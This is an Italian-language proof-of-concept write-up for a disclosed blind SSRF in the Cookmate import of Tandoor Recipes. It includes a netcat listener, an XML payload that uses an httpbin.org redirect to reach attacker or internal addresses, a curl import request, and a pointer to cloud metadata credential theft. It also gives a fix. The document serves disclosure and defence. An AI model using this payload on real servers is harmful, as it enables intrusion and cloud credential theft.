
Proof-of-concept exploit per CVE-2026-25991, una SSRF cieca nell'importazione Cookmate di Tandoor Recipes, che consente agli utenti autenticati di accedere a risorse interne.
Proof-of-Concept per SSRF tramite Importazione Ricette
Divulgazione: Originariamente segnalata da me tramite GHSA-j6xg-85mh-qqf7
⚠️ Solo per test di penetrazione/ricerca autorizzati.
| Campo | Valore |
|---|
| ID CVE | CVE-2026-25991 |
| Gravità | 🔴 Alta |
| Punteggio CVSS | 7.7 |
| Vettore CVSS | [CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N] |
| CWE | CWE-918: Server-Side Request Forgery (SSRF) |
| Prodotto Interessato | Tandoor Recipes ≤ 2.5.0 |
| Versione Corretta | 2.5.1 |
| Advisory | GHSA-j6xg-85mh-qqf7 |
Ho scoperto una vulnerabilità di Server-Side Request Forgery (SSRF) Cieco nella funzionalità di importazione ricette Cookmate di Tandoor Recipes. L'applicazione non valida l'URL di destinazione dopo aver seguito i reindirizzamenti HTTP, consentendo a qualsiasi utente autenticato (inclusi utenti standard senza privilegi amministrativi) di forzare il server a connettersi a risorse interne o esterne arbitrarie.
Questa vulnerabilità può essere sfruttata per scansionare porte di rete interne, accedere ai metadati delle istanze cloud (ad es., AWS/GCP Metadata Service) o divulgare l'indirizzo IP reale del server.
La vulnerabilità risiede in cookbook/integration/cookmate.py, all'interno della classe di integrazione Cookmate.
imageurl.validate_import_url (in cookbook/helper/HelperFunctions.py), che blocca correttamente gli intervalli di IP privati (ad es., 127.0.0.1, 10.0.0.0/8).requests.get(url) per scaricare l'immagine. Per impostazione predefinita, la libreria requests segue i reindirizzamenti (allow_redirects=True).
La funzione validate_import_url controlla solo l'URL iniziale ma non valida la destinazione finale dopo che si verifica un reindirizzamento.Frammento di Codice Vulnerabile (cookbook/integration/cookmate.py:73):
if validate_import_url(url):
# CRITICO: requests.get segue i reindirizzamenti per impostazione predefinita, bypassando il controllo iniziale.
response = requests.get(url)
self.import_recipe_image(recipe, BytesIO(response.content))
Un attaccante può utilizzare un servizio esterno (come httpbin.org) per reindirizzare la richiesta a un indirizzo interno ristretto (ad es., http://127.0.0.1:80/ o http://169.254.169.254/).
Fondamentalmente, la AppImportView (cookbook/views/api.py) consente esplicitamente le autorizzazioni CustomIsUser, il che significa che QUALSIASI utente registrato può attivare questa vulnerabilità. Non sono richiesti diritti amministrativi speciali.
Prerequisiti:
nc).Passaggi per la Riproduzione:
Configurare un listener (Macchina dell'Attaccante):
Aprire un terminale e avviare nc per ascoltare le connessioni in arrivo. Questo simula un servizio interno o un server controllato dall'attaccante.
nc -lvnp 9999
Creare un Payload XML Maligno:
Creare un file denominato payload.xml. Sostituire <YOUR_IP> con il proprio indirizzo IP pubblico (o IP raggiungibile).
Questo payload utilizza httpbin.org per bypassare il controllo iniziale degli IP privati e reindirizzare al proprio listener.
<recipes>
<recipe>
<title>SSRF_PoC</title>
<!-- Reindirizza al servizio interno o al listener dell'attaccante -->
<imageurl>https://httpbin.org/redirect-to?url=http%3A%2F%2F<YOUR_IP>%3A9999%2Fsecret.txt</imageurl>
</recipe>
</recipes>

Creare un archivio ZIP: Tandoor richiede che l'XML sia all'interno di un file ZIP.
zip payload.zip payload.xml
Eseguire l'Exploit (tramite API):
Accedere come Utente Standard (non amministratore) per ottenere il cookie di sessione e il token CSRF.
Quindi inviare una richiesta POST a /api/import/:
(Sostituire <TARGET_URL>, <SESSION_ID>, <CSRF_TOKEN> con i valori effettivi)
curl -X POST 'http://<TARGET_URL>/api/import/' \
-H 'Cookie: sessionid=<SESSION_ID>; csrftoken=<CSRF_TOKEN>' \
-H 'X-CSRFToken: <CSRF_TOKEN>' \
-F 'type=COOKMATE' \
-F '[email protected]' \
-F 'duplicates=true'


nc). Si vedrà una richiesta HTTP GET in arrivo dal server Tandoor.
Questo conferma che il server, agendo per conto di un utente standard, si è connesso a una risorsa esterna/interna arbitraria.
GET /secret.txt HTTP/1.1
Host: <YOUR_IP>:9999
User-Agent: python-requests/2.x.x
...

http://169.254.169.254/latest/meta-data/) per rubare le credenziali IAM, portando al compromesso completo dell'infrastruttura.Disabilitare il seguito automatico dei reindirizzamenti nella chiamata requests.get o implementare una validazione rigorosa per gli URL di reindirizzamento.
Diff (Correzione Proposta):
# cookbook/integration/cookmate.py
# Opzione 1: Disabilitare i Reindirizzamenti (Consigliata)
response = requests.get(url, allow_redirects=False)
# Opzione 2: Validare i Reindirizzamenti
# (Logica complessa necessaria per controllare ogni salto di reindirizzamento rispetto agli intervalli di IP privati)